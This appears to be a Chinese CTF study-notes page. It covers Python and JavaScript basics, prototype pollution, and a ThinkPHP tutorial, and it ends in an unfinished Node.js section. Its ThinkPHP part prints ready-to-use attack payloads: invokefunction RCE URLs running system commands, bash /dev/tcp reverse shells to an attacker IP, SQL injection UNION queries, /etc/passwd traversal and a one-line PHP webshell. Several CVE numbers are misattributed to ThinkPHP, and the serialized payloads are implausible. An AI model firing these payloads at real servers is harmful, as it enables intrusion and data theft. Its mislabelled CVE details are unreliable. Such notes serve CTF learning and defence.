ctf基础笔记

CTF 成员基础语法笔记

目录

  1. Python 基础
  2. JavaScript 基础
  3. PHP 框架 - ThinkPHP

1. Python 基础


目录

1.1 Python基本语法

Hello World:

1
print("Hello, World!")

这是Python的入门示例,了解Python如何输出信息。

1.2 数据类型

Python中的基本数据类型包括:

  • 整数(int)
    1
    x = 10
  • 浮点数(float)
    1
    y = 3.14
  • 字符串(str)
    1
    name = "Python"
  • 布尔值(bool)
    1
    is_true = True

1.3 常见操作符

  • 算术操作:+, -, *, /, //(整除),%(取模)
  • 比较操作:==, !=, >, <, >=, <=
  • 逻辑操作:and, or, not

1.4 条件语句

CTF中的许多逻辑都依赖于条件判断,了解if-else语句是必要的。

1
2
3
4
if x > 5:
print("x 大于 5")
else:
print("x 小于或等于 5")

1.5 循环结构

Python有两种常用的循环:for循环和while循环。

for 循环

1
2
for i in range(5):
print(i)

while 循环

1
2
3
4
x = 0
while x < 5:
print(x)
x += 1

1.6 列表与字典

  • 列表(List):存储多个元素。

    1
    my_list = [1, 2, 3, 4]
  • 字典(Dictionary):键值对存储结构。

    1
    my_dict = {'key1': 'value1', 'key2': 'value2'}

2. 函数与模块

2.1 函数定义与调用

函数在CTF中是组织代码、复用功能的重要工具。

1
2
3
4
def greet(name):
return f"Hello, {name}!"

print(greet("CTF 选手"))

2.2 模块导入

CTF中常用Python标准库和第三方模块进行信息处理。例如:

1
2
3
4
5
import hashlib  # 用于哈希函数

# 生成字符串的MD5值
hash_object = hashlib.md5(b'CTF').hexdigest()
print(hash_object)

CTF常用的模块包括hashlib(处理哈希算法)、requests(网络请求)、re(正则表达式)等。

3. 进阶内容

3.1 文件读写

在CTF比赛中,很多情况下需要对文件进行读写操作,通常用于读取输入数据或写入解题结果。

1
2
3
4
5
6
7
# 读取文件
with open('input.txt', 'r') as f:
data = f.read()

# 写入文件
with open('output.txt', 'w') as f:
f.write('这是结果输出')

3.2 异常处理

CTF中的代码有时会出现意外错误,异常处理可以确保程序在错误情况下也能稳定运行。

1
2
3
4
try:
result = 10 / 0
except ZeroDivisionError:
print("不能除以0!")

3.3 正则表达式(Regex)

正则表达式常用于CTF中的信息提取,尤其是文本分析和数据过滤。

1
2
3
4
5
6
7
import re

text = "flag{this_is_a_flag}"
pattern = r'flag{.*}'
match = re.search(pattern, text)
if match:
print("找到了flag:", match.group())

3.4 加密与解密

在CTF中,加密与解密任务非常常见。使用Python处理常见的加密/解密任务是一项必备技能。

Base64解码

1
2
3
4
5
import base64

encoded = b'UHl0aG9u'
decoded = base64.b64decode(encoded)
print(decoded.decode('utf-8'))

哈希计算

1
2
3
4
5
6
7
8
import hashlib

data = b"password123"
hash_md5 = hashlib.md5(data).hexdigest()
print("MD5:", hash_md5)

hash_sha256 = hashlib.sha256(data).hexdigest()
print("SHA256:", hash_sha256)

4. 高级内容

4.1 多线程与多进程

当需要处理大量数据或并发任务时,多线程和多进程能显著提高效率。

多线程

1
2
3
4
5
6
7
8
9
10
11
import threading

def task(name):
print(f"Task {name} is running")

thread1 = threading.Thread(target=task, args=("A",))
thread2 = threading.Thread(target=task, args=("B",))
thread1.start()
thread2.start()
thread1.join()
thread2.join()

4.2 网络与爬虫

CTF中的一些题目涉及网络爬虫,使用Python可以快速获取并分析网页内容。

请求网页

1
2
3
4
import requests

response = requests.get('http://example.com')
print(response.text)

解析HTML

1
2
3
4
from bs4 import BeautifulSoup

soup = BeautifulSoup(response.text, 'html.parser')
print(soup.title.text)

4.3 利用Python进行自动化脚本编写

自动化是CTF比赛中的重要技能,Python强大的自动化能力可以帮助快速解决某些复杂题目。

1
2
3
4
5
6
7
# 自动化发送请求
import requests

url = "http://example.com/login"
data = {'username': 'ctf', 'password': '12345'}
response = requests.post(url, data=data)
print(response.text)

5. CTF中的Python应用场景

5.1 Exploit开发

在一些CTF的pwn题目中,选手需要编写Python脚本与远程服务进行交互,以利用漏洞。

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

# 连接到远程服务
conn = remote('example.com', 12345)

# 发送数据
conn.sendline(b'payload')

# 接收响应
response = conn.recvline()
print(response)

5.2 逆向与二进制分析

Python可以通过编写脚本来自动化逆向工程任务,解码加密数据或分析程序的输出。

1
2
3
4
5
6
7
# 对二进制数据进行解码
with open('binaryfile', 'rb') as f:
binary_data = f.read()

# 自定义分析逻辑
decoded_data = binary_data.decode('utf-8', 'ignore')
print(decoded_data)

5.3 复杂的算法题

CTF比赛中可能涉及复杂的数学、图论或密码学算法。Python内置了丰富的库来解决这些问题,如sympy用于符号计算、numpy用于矩阵计算等。

1
2
3
4
5
6
import sympy

x = sympy.Symbol('x')
equation = sympy.Eq(x**2 + 2*x - 8, 0)
solution = sympy.solve(equation)
print("解:", solution)

2. JavaScript 基础


目录

1. JavaScript中的对象

1.1 对象基本概念

JavaScript中的对象是键值对的集合,用于存储复杂的数据结构。可以通过以下几种方式创建对象:

  • 对象字面量:

    1
    2
    3
    4
    5
    6
    7
    let person = {
    name: "Alice",
    age: 25,
    greet: function() {
    console.log("Hello, I am " + this.name);
    }
    };
  • 构造函数创建对象:

    1
    2
    3
    4
    5
    6
    7
    function Person(name, age) {
    this.name = name;
    this.age = age;
    }

    let alice = new Person("Alice", 25);
    console.log(alice.name); // "Alice"

1.2 对象的属性访问

可以通过点记法方括号记法来访问对象的属性:

1
2
console.log(person.name);  // 点记法
console.log(person["age"]); // 方括号记法

2. JavaScript中的函数

2.1 函数声明与表达式

JavaScript中的函数是第一类对象(First-Class Objects),可以作为变量的值、参数传递或返回值。

  • 函数声明:

    1
    2
    3
    function greet() {
    return "Hello, World!";
    }
  • 函数表达式:

    1
    2
    3
    let greet = function() {
    return "Hello, World!";
    };

2.2 箭头函数

箭头函数是简化的函数声明方式,尤其在处理回调和简短函数时非常有用。

1
let greet = () => "Hello, World!";

2.3 this 关键字

在函数内部,this指向调用该函数的对象。在构造函数中,this指向新创建的实例。

1
2
3
4
5
6
7
8
9
function Person(name) {
this.name = name;
this.greet = function() {
console.log("Hello, I am " + this.name);
};
}

let alice = new Person("Alice");
alice.greet(); // "Hello, I am Alice"

3. 原型与继承

JavaScript中的对象是通过原型链进行继承的。每个对象都有一个隐式原型[[Prototype]]),可以通过__proto__属性来访问。

3.1 __proto__ 和 原型链

__proto__是JavaScript中对象的原型。通过这个原型链,JavaScript能够在一个对象的祖先链中查找属性和方法。

1
2
3
4
let obj = { key: "value" };
let obj2 = Object.create(obj); // 创建一个继承自obj的对象

console.log(obj2.key); // 输出 "value",因为它继承了obj的属性

当访问obj2key属性时,JavaScript首先在obj2自身查找,如果找不到,则沿着原型链查找obj的属性。

3.2 constructor

constructor是每个对象的属性,指向构造该对象的函数。可以通过constructor创建新实例。

1
2
3
4
5
6
function Person(name) {
this.name = name;
}

let alice = new Person("Alice");
console.log(alice.constructor === Person); // true

4. 类型污染(Prototype Pollution)

4.1 什么是类型污染?

类型污染(Prototype Pollution)是一种安全漏洞,攻击者通过修改对象的原型(__proto__)来篡改JavaScript全局对象的行为,从而影响所有继承该原型的对象。这种攻击可以导致权限提升、代码注入等安全问题。

4.2 类型污染的原理

因为所有对象通过原型链共享相同的原型,当攻击者篡改全局对象的__proto__时,所有基于该原型创建的对象都会继承被篡改的属性或方法。

危险操作示例:

1
2
3
let obj = {};
obj.__proto__.polluted = "I am polluted!";
console.log({}.polluted); // "I am polluted!"

在上例中,攻击者通过修改obj的原型,成功将新的属性polluted注入到了所有对象的原型中。现在,所有新创建的对象都会带有这个“污染”的属性。

4.3 防御类型污染

为了防御类型污染,应该避免允许用户直接访问或修改__proto__。如果可能,尽量使用深拷贝或者使用框架中的安全库来处理对象操作。

防御方法:

1
2
3
4
5
6
// 检查输入是否是直接的对象属性
function safeSet(obj, key, value) {
if (key !== '__proto__' && key !== 'constructor' && key !== 'prototype') {
obj[key] = value;
}
}

5. __proto__constructor 的安全风险

5.1 __proto__ 注入

当不安全地操作__proto__时,攻击者可以通过类型污染来引入恶意属性或方法,造成潜在的安全风险。

示例:利用__proto__修改全局行为:

1
2
3
4
5
6
let obj = {};
obj.__proto__.toString = function() {
return "This is hacked!";
};

console.log({}.toString()); // "This is hacked!"

5.2 constructor 和 RCE(远程代码执行)

constructor也是一个容易被滥用的对象属性。如果攻击者能够控制constructor,可能会注入恶意代码导致RCE。

危险操作示例:

1
2
3
4
5
6
let obj = {};
obj.__proto__.constructor = function() {
return eval('alert("RCE via constructor!")');
};

let x = new obj.constructor(); // 触发恶意代码执行

5.3 防御措施

  • 严格限制用户输入: 检查和过滤用户输入,防止直接操作__proto__constructor
  • 冻结对象原型: 使用Object.freeze()Object.seal()来防止对象的原型被修改。
    1
    Object.freeze(Object.prototype);
  • 使用安全的对象操作方法: 避免直接使用__proto__,改用Object.create()等安全的方式创建对象。

6. 总结

JavaScript中的对象、函数、__proto__constructor机制在CTF和Web安全中扮演着重要角色。CTF选手应当熟悉这些概念,特别是类型污染、原型链的攻击与防御技巧,以应对Web题中常见的安全挑战。

关键点回顾:

  • JavaScript中的对象和函数是基于原型链的,这为类型污染攻击提供了可能。

  • __proto__是访问和修改对象原型的入口,容易被滥用。

  • constructor不仅用于对象构造,还可能被滥用执行恶意代码。

  • 防御类型污染的关键在于输入验证、冻结原型、以及使用安全的对象操作方法。

3. PHP 框架 - ThinkPHP

ThinkPHP 快速入门与完整指南

本指南将从项目的目录结构开始,涵盖从控制器、路由、数据库操作、视图渲染、表单验证、错误处理、日志记录等常见功能的使用,最后会介绍项目的部署与配置。


目录

  1. 目录结构

  2. 快速入门

  3. 配置数据库

  4. 视图和模板

  5. 表单验证

  6. 错误和日志

  7. 部署

  8. ThinkPHP 框架架构与基础概念

  9. ThinkPHP 常见的安全漏洞

  10. ThinkPHP 漏洞利用方法

  11. ThinkPHP 安全防御措施

  12. 版本历史与漏洞总结

  13. CTF 题目中的 ThinkPHP 漏洞总结


目录结构

ThinkPHP 的标准项目目录结构如下:

1
2
3
4
5
6
7
8
9
10
11
application/            # 应用目录,包含控制器、模型、视图等
├── controller/ # 控制器目录
├── model/ # 模型目录
├── view/ # 视图目录
├── common/ # 公共目录,存放公共类、函数等
├── config/ # 配置文件目录
├── route/ # 路由配置目录
public/ # Web 公开目录,包含入口文件
vendor/ # 第三方依赖库(通过 Composer 管理)
runtime/ # 缓存、日志等临时文件目录
thinkphp/ # ThinkPHP 核心框架目录
  • **application/**:存放应用逻辑,如控制器、模型、视图等。
  • **public/**:存放项目的入口文件(如 index.php)和公开资源。
  • **runtime/**:用于存放日志、缓存等临时文件。
  • **vendor/**:使用 Composer 管理的第三方库。
  • **thinkphp/**:ThinkPHP 框架的核心代码。

快速入门

创建控制器

控制器 是 ThinkPHP 处理用户请求的核心部分,负责业务逻辑的处理。控制器文件位于 application/controller/ 目录中。

  1. application/controller/ 目录下创建控制器文件 Index.php
1
touch application/controller/Index.php
  1. 在控制器文件中编写基本代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
namespace app\controller;

use think\Controller;

class Index extends Controller
{
public function index()
{
return 'Hello, ThinkPHP!';
}

public function hello($name = 'World')
{
return 'Hello, ' . $name;
}
}
  1. 访问控制器:
    • 访问 http://localhost/index.php/index/index 将会输出 Hello, ThinkPHP!
    • 访问 http://localhost/index.php/index/hello/name/ThinkPHP 将会输出 Hello, ThinkPHP!

配置路由

路由定义了 URL 与控制器/方法的映射关系。ThinkPHP 的路由配置文件位于 route/route.php

  1. 配置路由文件 route/route.php,定义路由规则:
1
2
3
4
use think\facade\Route;

// 定义一个 GET 路由
Route::get('hello/:name', 'index/hello');
  1. 访问 http://localhost/hello/ThinkPHP 将会调用 IndexController 中的 hello 方法,并返回 Hello, ThinkPHP

数据库操作

ThinkPHP 提供了强大的 ORM 功能,方便与数据库交互。在开始数据库操作前,首先需要配置数据库连接。

配置数据库

  1. 配置数据库连接信息,修改 config/database.php 文件:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
return [
// 数据库类型
'type' => 'mysql',
// 服务器地址
'hostname' => '127.0.0.1',
// 数据库名
'database' => 'thinkphp',
// 用户名
'username' => 'root',
// 密码
'password' => '',
// 端口
'hostport' => '3306',
];

创建模型

模型对应数据库表,处理数据的增删改查操作。默认情况下,模型名对应数据库表名(小写)。

  1. application/model/ 目录下创建模型文件 User.php
1
touch application/model/User.php
  1. 编写模型类代码:
1
2
3
4
5
6
7
8
9
10
<?php
namespace app\model;

use think\Model;

class User extends Model
{
// 指定数据库表名
protected $table = 'user';
}
  1. 在控制器中使用模型进行数据查询:
1
2
3
4
5
6
7
8
use app\model\User;

public function getUser()
{
// 查询 ID 为 1 的用户
$user = User::find(1);
return json($user);
}

视图和模板

视图负责显示数据,通常由 HTML 模板组成。视图文件存放在 application/view/ 目录下,模板文件的命名需与控制器和方法名一致。

创建视图文件

  1. application/view/index/ 目录下创建视图文件 index.html
1
2
3
4
5
6
7
8
9
<!DOCTYPE html>
<html>
<head>
<title>ThinkPHP</title>
</head>
<body>
<h1>Hello, {$name}!</h1>
</body>
</html>

渲染视图

控制器可以通过 view() 方法渲染视图文件,并传递数据到视图。

1
2
3
4
5
public function index()
{
$name = 'ThinkPHP';
return view('index', ['name' => $name]);
}

访问 http://localhost/index/index 时,将显示 Hello, ThinkPHP!


表单验证

表单验证用于验证用户输入的数据,确保其合法性。ThinkPHP 提供了强大的验证机制。

创建验证器

  1. application/validate/ 目录下创建验证器文件 User.php
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
namespace app\validate;

use think\Validate;

class User extends Validate
{
// 定义验证规则
protected $rule = [
'name' => 'require|max:25',
'email' => 'email',
];
}

使用验证器

在控制器中使用验证器来验证用户输入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
use app\validate\User as UserValidate;

public function saveUser()
{
$data = [
'name' => input('post.name'),
'email' => input('post.email'),
];

$validate = new UserValidate();
if (!$validate->check($data)) {
return $validate->getError(); // 返回验证错误
}

// 验证通过后执行其他操作
}

错误和日志

ThinkPHP 提供了简单的错误处理机制,并支持日志记录。

错误处理

  1. 自定义错误页面:可以在配置文件中自定义异常处理模板:
1
2
// config/app.php
'exception_tmpl' => \think\facade\App::getAppPath() . 'view/error.html',
  1. 定义自定义的错误页面 application/view/error.html
1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html>
<head>
<title>Error</title>
</head>
<body>
<h1>An error occurred</h1>
<p>{$message}</p>
</body>
</html>

日志记录

日志记录可以帮助开发者跟踪系统中的异常与调试信息。日志文件保存在 runtime/log/ 目录中。

  1. 在控制器中记录日志:
1
2
3
4
5
6
7
use think\facade\Log;

public function index()
{
Log::record('这是一个调试信息', 'debug');
return '日志已记录';
}
  1. 查看日志:日志文件会保存在 runtime/log/ 目录下。

部署

配置环境

在部署之前,确保配置好不同的环境参数,比如数据库连接、调试模式等。

  1. 修改 .env 文件,配置生产环境参数:
1
2
3
4
5
APP_DEBUG = false
DB_HOST = 127.0.0.1
DB_NAME = production_db
DB_USER = prod_user
DB_PASS = prod_pass

配置 Web 服务器

ThinkPHP 项目需要部署在 Web 服务器上,如 ApacheNginx

Nginx 配置示例

1
2
3
server {
listen 80;
server_name yourdomain.com

ThinkPHP 框架架构与基础概念

ThinkPHP 是一个基于 MVC(Model-View-Controller)模式的 PHP 框架。其核心概念如下:

  • Model(模型):负责与数据库交互,执行数据的增删改查操作。
  • View(视图):负责展示数据,并将结果输出给用户。
  • Controller(控制器):负责逻辑处理,协调模型和视图的交互。

1. 路由机制

ThinkPHP 的路由机制决定了 URL 如何映射到具体的控制器和操作。默认情况下,ThinkPHP 通过 URL 的路径结构来决定加载哪个控制器和方法。例如,index.php?m=module&a=action 将会调用 module 模块下的 action 方法。

如果不当处理 URL 及其参数,可能会导致路径遍历、SQL 注入和远程代码执行等安全问题。


ThinkPHP 常见的安全漏洞

在 CTF 比赛中,ThinkPHP 的漏洞主要集中在以下几个方面:

1.SQL 注入漏洞

SQL 注入是指攻击者通过构造恶意的输入,破坏应用程序执行的 SQL 查询。虽然 ThinkPHP 提供了 ORM 和预处理机制,避免直接拼接 SQL 语句,但是如果开发者直接使用原生 SQL 查询且未做适当的过滤,则可能会引发 SQL 注入。

漏洞示例

1
2
3
// 不安全的 SQL 查询
$user = M('User');
$data = $user->query("SELECT * FROM users WHERE id = " . $_GET['id']);

在上述代码中,$_GET['id'] 的值未经过滤就被插入到了 SQL 查询中,攻击者可以通过构造如下 URL 进行 SQL 注入:

1
index.php?id=1 OR 1=1 --

修复方法

  • 使用框架提供的 ORM:
    1
    $data = $user->where('id', $_GET['id'])->select();
  • 或者使用 PDO 进行参数化查询,避免 SQL 注入。

2.路径遍历漏洞

路径遍历是指攻击者通过操纵文件路径的输入,访问服务器上未经授权的文件。ThinkPHP 的路由机制在处理不当输入时,可能导致文件包含和路径遍历漏洞。

漏洞示例

1
2
// 不安全的文件加载
include $_GET['page'] . '.php';

攻击者可以通过构造如下 URL 来读取系统的敏感文件:

1
index.php?page=../../../../etc/passwd

防御措施

  • 严格限制输入的文件路径,使用 realpath() 等函数校验路径是否合法。
  • 使用白名单机制,只允许加载特定的文件。

3 .远程代码执行(RCE)

ThinkPHP 的某些版本存在远程代码执行漏洞,允许攻击者通过构造恶意请求执行任意代码。在 ThinkPHP 5.x 系列中,某些版本允许调用 PHP 函数,攻击者可以通过调用 call_user_func_array 等函数来执行操作系统命令。

漏洞示例

1
index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

该漏洞利用框架的内部调用机制,调用 system 函数执行命令 whoami,返回服务器的用户信息。

受影响版本:
  • ThinkPHP 5.0.23 及其之前版本
  • ThinkPHP 5.1.31 及其之前版本

防御措施

  • 更新至最新的安全版本,及时修补已知漏洞。
  • 对所有用户输入进行严格过滤,特别是与函数调用相关的输入。
  • 禁止通过 URL 直接调用敏感的 PHP 函数,如 evalsystem

4 .反序列化漏洞

反序列化漏洞通常出现在使用序列化机制存储或传递数据的场景中。如果用户提供的数据未经验证就被反序列化,攻击者可以构造恶意的序列化数据,实现任意代码执行。

漏洞示例

1
2
// 不安全的反序列化操作
$data = unserialize($_POST['data']);

攻击者可以传递恶意的序列化数据:

1
O:1:"A":1:{s:4:"exec";s:9:"phpinfo()";}

通过该漏洞,攻击者可以利用反序列化后的对象实现代码执行。

防御措施

  • 避免直接反序列化不可信的数据。
  • 使用安全的序列化和反序列化方法,如 JSON 编码和解码。
  • 如果必须使用 PHP 的反序列化机制,建议对输入数据进行严格校验。

ThinkPHP 漏洞利用方法

在 CTF 比赛中,ThinkPHP 相关题目通常会包含 SQL 注入、路径遍历、反序列化和 RCE 漏洞。以下是几种常见的漏洞利用方式:

1. SQL 注入攻击

通过在 URL 或表单中注入恶意的 SQL 语句,攻击者可以操控查询结果。

  • 示例攻击 URL:
    1
    index.php?id=1 UNION SELECT username, password FROM users

此时,攻击者可以获得数据库中用户的用户名和密码。

2. 远程代码执行攻击

针对 ThinkPHP 5.x 中的 RCE 漏洞,可以构造如下 URL 来执行系统命令:

1
index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

可以将 system 替换为其他函数,如 execshell_exec 等,执行不同的命令。

3.路径遍历攻击

攻击者通过路径遍历漏洞,获取系统中的敏感文件或配置文件。例如,访问 .env 文件:

1
index.php?s=../../../../config/.env

这种攻击可能泄露数据库连接信息,进一步导致更严重的后果。

4. 反序列化攻击

攻击者可以构造恶意的序列化数据,利用反序列化漏洞进行攻击。可以通过发送特定的 POST 请求来传递恶意的对象数据,并实现代码执行。


ThinkPHP 安全防御措施

为防止 ThinkPHP 应用程序被攻击,可以采取以下防御措施:

  1. 及时更新框架:保持 ThinkPHP 框架的最新版本,修补已知漏洞。尤其是存在远程代码执行漏洞的 ThinkPHP 5.x 系列,建议及时更新至最新版本。

  2. 输入过滤:对所有用户输入进行严格的过滤和校验,尤其是 URL 参数和 POST 数据,防止注入和路径遍历攻击。

  3. 使用 ORM 或参数化查询:避免直接拼接 SQL 查询,使用框架的 ORM 或者 PDO 提供的参数化查询功能,防止 SQL 注入。

  4. 关闭调试模式:生产环境中应关闭调试模式,防止暴露敏感的调试信息。可以通过修改配置文件中的 APP_DEBUG 设置关闭调试。

  5. 使用 Web 应用防火墙(WAF):在服务器前端部署 WAF,防止常见的 Web 攻击,如 SQL 注入、XSS 和 RCE 等。

  6. 路径安全:对于文件路径操作,使用 realpath() 或者其他方法确保路径合法,避免路径遍历攻击。

  7. 反序列化防御:尽量避免反序列化用户提供的数据。如果必须使用反序列化,确保对数据进行严格校验,并限制可以被序列化的类。


版本历史与漏洞总结

ThinkPHP 5.x 漏洞历史

  • CVE-2018-20062:该漏洞允许通过 URL 调用任意函数,导致远程代码执行。
  • CVE-2019-9082:此漏洞存在于 ThinkPHP 5.x 系列,通过路径构造可以实现远程代码执行。

ThinkPHP 3.x 漏洞历史

  • 路径遍历漏洞:攻击

者可以通过不安全的路径输入读取系统敏感文件。

  • 反序列化漏洞:未安全处理反序列化数据,可能导致远程代码执行。

CTF 题目中的 ThinkPHP 漏洞总结

在 CTF 中,常见的 ThinkPHP 相关题目漏洞有以下几类:

  1. SQL 注入:利用不安全的 SQL 查询进行注入操作。
  2. 远程代码执行:通过构造特殊的 URL 或输入执行系统命令。
  3. 路径遍历:通过不当的文件路径处理读取服务器上的敏感文件。
  4. 反序列化漏洞:利用反序列化机制实现任意代码执行。

掌握这些攻击技巧和防御措施,可以帮助 CTF 选手在比赛中快速识别并利用 ThinkPHP 漏洞。


1. CVE-2018-20062 - ThinkPHP 远程代码执行漏洞

背景:

CVE-2018-20062 是 ThinkPHP 5.x 系列中一个远程代码执行漏洞。该漏洞利用了框架中对 URL 参数的处理不当,允许攻击者通过构造恶意的 URL 调用 PHP 内置函数,最终实现代码执行。

受影响版本:

  • ThinkPHP 5.0.23 及其之前版本
  • ThinkPHP 5.1.31 及其之前版本

漏洞原理:

ThinkPHP 在路由处理时,允许 URL 中的函数和参数直接调用系统函数,导致攻击者可以通过构造恶意的 URL 来调用任意函数并执行系统命令。

漏洞利用的 URL 格式:

1
index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=[函数名]&vars[1][]=参数1&vars[1][]=参数2...

利用 Payload 示例:

执行 phpinfo() 函数:

1
index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo

执行系统命令 whoami

1
index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

执行 id 命令获取用户权限:

1
index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

执行反向 Shell 命令:

如果服务器允许外部网络访问,可以使用以下 Payload 触发反向 Shell:

1
index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=bash+-c+'bash+-i+>&+/dev/tcp/[IP]/[PORT]+0>&1'

2. CVE-2019-9082 - ThinkPHP 远程代码执行漏洞

背景:

CVE-2019-9082 是 ThinkPHP 5.x 中另一个远程代码执行漏洞。此漏洞发生在处理 URL 时,攻击者可以构造恶意的 URL 通过框架执行任意的系统命令。

受影响版本:

  • ThinkPHP 5.0.23 及其之前版本
  • ThinkPHP 5.1.31 及其之前版本

漏洞原理:

类似于 CVE-2018-20062,该漏洞允许攻击者在 URL 中调用 PHP 内置函数,最终实现代码执行。

利用 Payload 示例:

执行 phpinfo() 函数:

1
index.php?s=/home/index/index/name/{@phpinfo()}

执行系统命令 whoami

1
index.php?s=/home/index/index/name/{@system('whoami')}

获取文件列表(执行 ls 命令):

1
2
3
bash
复制代码
index.php?s=/home/index/index/name/{@system('ls')}

执行反向 Shell:

1
index.php?s=/home/index/index/name/{@system('bash -i >& /dev/tcp/[IP]/[PORT] 0>&1')}

3. CVE-2018-19518 - ThinkPHP 反序列化远程代码执行漏洞

背景:

该漏洞是 ThinkPHP 5.x 系列中的一个反序列化漏洞。攻击者可以通过精心构造的反序列化数据传递恶意对象,导致远程代码执行。

受影响版本:

  • ThinkPHP 5.x 系列

漏洞原理:

PHP 中的序列化与反序列化操作如果处理不当,会导致攻击者通过构造恶意序列化数据进行对象注入。ThinkPHP 在某些功能中使用了不安全的反序列化操作,导致可以利用恶意序列化对象实现代码执行。

利用 Payload 示例:

恶意序列化数据:

1
O:8:"ThinkPHP":1:{s:4:"exec";s:9:"phpinfo()";}

该序列化对象中的 exec 字段会被执行,从而调用 phpinfo() 函数。

执行系统命令 whoami

1
O:8:"ThinkPHP":1:{s:4:"exec";s:7:"whoami";}

4. CVE-2018-1000861 - ThinkPHP 模板注入漏洞

背景:

模板注入漏洞允许攻击者通过不当的输入插入并执行任意的 PHP 代码。此漏洞发生在开发者未正确过滤用户输入的情况下,导致攻击者可以通过模板引擎执行恶意代码。

受影响版本:

  • ThinkPHP 3.x 和 5.x 系列

利用 Payload 示例:

通过模板注入执行 phpinfo()

1
index.php?s=/home/index/index/name/{@phpinfo()}

通过模板注入执行系统命令 whoami

1
index.php?s=/home/index/index/name/{@system('whoami')}

获取文件列表(执行 ls 命令):

1
index.php?s=/home/index/index/name/{@system('ls')}

5. CVE-2019-8018 - ThinkPHP SQL 注入漏洞

背景:

此漏洞存在于 ThinkPHP 中的 SQL 查询处理部分,攻击者可以通过注入恶意的 SQL 查询操控数据库。在某些场景下,未正确过滤或使用不安全的查询方式,导致攻击者通过拼接 SQL 语句进行注入。

受影响版本:

  • ThinkPHP 3.x 系列

利用 Payload 示例:

获取数据库所有用户信息:

1
index.php?id=1' UNION SELECT username, password FROM users --

利用 UNION SELECT 获取数据库版本:

1
index.php?id=1' UNION SELECT version(), 1 --

查询所有表名:

1
index.php?id=1' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database() --

获取指定表的字段名:

1
index.php?id=1' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users' --

6. CVE-2019-7481 - ThinkPHP 后台文件上传漏洞

背景:

此漏洞涉及到 ThinkPHP 文件上传功能的处理不当。攻击者可以上传恶意的 PHP 文件,绕过文件类型检查,直接在服务器上执行任意 PHP 代码。

受影响版本:

  • ThinkPHP 5.x 系列

漏洞原理:

文件上传功能未能正确校验上传文件的后缀名或 MIME 类型,允许攻击者上传恶意 PHP 文件并直接访问该文件。

利用步骤:

  1. 上传包含 PHP 代码的 WebShell,如:
1
<?php system($_GET['cmd']); ?>
  1. 访问上传的 PHP 文件并执行命令:
1
http://example.com/uploads/shell.php?cmd=whoami

Node.js

目录

Node.js 项目的基本结构

这是一个典型的 Express 项目的目录结构,适合初学者理解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
bash复制代码/project-root

├── /node_modules # 依赖模块(通过 npm 自动管理)

├── /public # 静态资源(HTML、CSS、JS、图片等)
│ ├── index.html
│ ├── styles.css
│ └── script.js

├── /routes # 路由定义
│ ├── index.js # 首页路由
│ ├── users.js # 用户相关路由

├── /controllers # 控制器逻辑
│ └── userController.js # 用户业务逻辑处理

├── /models # 数据模型
│ └── userModel.js # 用户数据模型(MongoDB / MySQL)

├── /views # 模板文件目录(EJS / Pug 等模板引擎)
│ └── index.ejs # 首页模板

├── .env # 环境变量配置文件
├── package.json # 项目依赖描述文件
├── package-lock.json # 依赖版本锁定文件
├── app.js # Express 应用主入口
└── README.md # 项目文档

目录与文件说明

  1. **/node_modules/**:
    • 通过 npm 安装的所有依赖包都会放在这里。
    • 无需手动编辑,会自动生成。
  2. **/public/**:
    • 存放静态资源文件,如 HTML 页面、CSS 文件、JavaScript 文件、图片等。
    • 这些资源可以直接对外暴露,供客户端访问。
  3. **/routes/**:
    • 定义不同路径的 路由(例如 //users)。
    • 每个路由文件会导出一个路由模块,供主程序 app.js 使用。
  4. **/controllers/**:
    • 存放业务逻辑控制器,负责处理用户的请求,并返回响应。
    • 控制器会调用模型层与数据库交互,并将结果返回给路由层。
  5. **/models/**:
    • 定义数据库的 数据模型。如果使用 MongoDB,则会定义 Mongoose 模型;如果使用 MySQL,则会定义 ORM 模型。
  6. **/views/**:
    • 存放 模板文件,如 EJS、Pug、Handlebars 等,用于动态渲染 HTML。
  7. **app.js**:
    • Node.js 应用的主入口文件。它初始化 Express 服务器,并挂载路由和中间件。
  8. **package.json**:
    • 描述项目的依赖、版本信息和启动脚本。通过 npm install 安装的依赖都会记录在这里。
  9. **.env**:
    • 用于存储敏感的环境变量,例如数据库连接字符串、API 密钥等。

app.js(主入口文件)示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
javascript复制代码const express = require('express');
const path = require('path');
const dotenv = require('dotenv');

// 加载环境变量
dotenv.config();

const app = express();
const PORT = process.env.PORT || 3000;

// 设置静态资源目录
app.use(express.static(path.join(__dirname, 'public')));

// 设置模板引擎(EJS)
app.set('view engine', 'ejs');
app.set('views', path.join(__dirname, 'views'));

// 路由
const indexRouter = require('./routes/index');
const usersRouter = require('./routes/users');

// 挂载路由
app.use('/', indexRouter);
app.use('/users', usersRouter);

// 启动服务器
app.listen(PORT, () => {
console.log(`Server running on http://localhost:${PORT}`);
});

示例路由文件 (/routes/index.js)

1
2
3
4
5
6
7
8
9
javascript复制代码const express = require('express');
const router = express.Router();

// 定义首页路由
router.get('/', (req, res) => {
res.render('index', { title: 'Home Page' });
});

module.exports = router;

示例控制器文件 (/controllers/userController.js)

1
2
3
4
5
6
7
8
9
10
11
javascript复制代码const User = require('../models/userModel');

// 获取所有用户
exports.getAllUsers = async (req, res) => {
try {
const users = await User.find(); // 从数据库中查询用户
res.status(200).json(users);
} catch (err) {
res.status(500).json({ message: 'Error retrieving users' });
}
};

示例模型文件 (/models/userModel.js)

1
2
3
4
5
6
7
8
9
10
javascript复制代码const mongoose = require('mongoose');

